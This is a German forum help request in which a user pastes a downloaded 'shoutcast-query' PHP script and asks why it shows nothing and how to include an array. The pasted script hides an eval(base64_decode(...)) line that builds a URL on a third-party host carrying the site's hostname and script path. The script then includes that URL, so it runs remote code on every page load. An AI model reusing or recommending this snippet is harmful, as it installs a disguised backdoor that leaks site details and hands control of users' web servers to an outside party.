Hallo,
ich habe mir eben das "shoutcast-query" herunter geladen, und eingestellt.
Leider musste ich festellen das überhaupt nichts angezeigt wird.
Aber erstmal der Code des Scripts:
So, nun steht da:
Leider habe ich nicht sehr viel Ahnung von php und weiss deshalb nicht, wie man ein array includet.
Hoffe ihr könnt mir sagen wie ich so etwas mache
thx im Vorraus
gruss ernstaugust
ich habe mir eben das "shoutcast-query" herunter geladen, und eingestellt.
Leider musste ich festellen das überhaupt nichts angezeigt wird.
Aber erstmal der Code des Scripts:
PHP-Code:
<?php
$s = "s"; //* 'pl' -> Playlistfile | 's' -> Streamserver
$u = "http://electrofreaks.de:8000/listen.pls"; //* URL of Playlistfile or Streamserver
//* now it's time to include the shoutcast query script
//* note: Windows versions of PHP prior to PHP 4.3.0 do not support accessing remote
//* files via this function, even if allow_url_fopen is enabled.
//* don't change anything otherwise it doesn't work any more
eval (base64_decode("JF91cmw9ICdodHRwOi8vY29kZWJhc2UuZ2FtZTRldmVyLmRlL3Nob3V0Y2FzdC8/aD0nLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS4nJmY9Jy4kX1NFUlZFUlsiU0NSSVBUX05BTUUiXQ==").".'&s=".$s."&u=".urlencode($u)."';");
include $_url;
//* you include an array called $streamdata
//* to get more information about this array, uncomment the following line!
show_source($_url);
?>
//* you include an array called $streamdata
Hoffe ihr könnt mir sagen wie ich so etwas mache

thx im Vorraus
gruss ernstaugust
Kommentar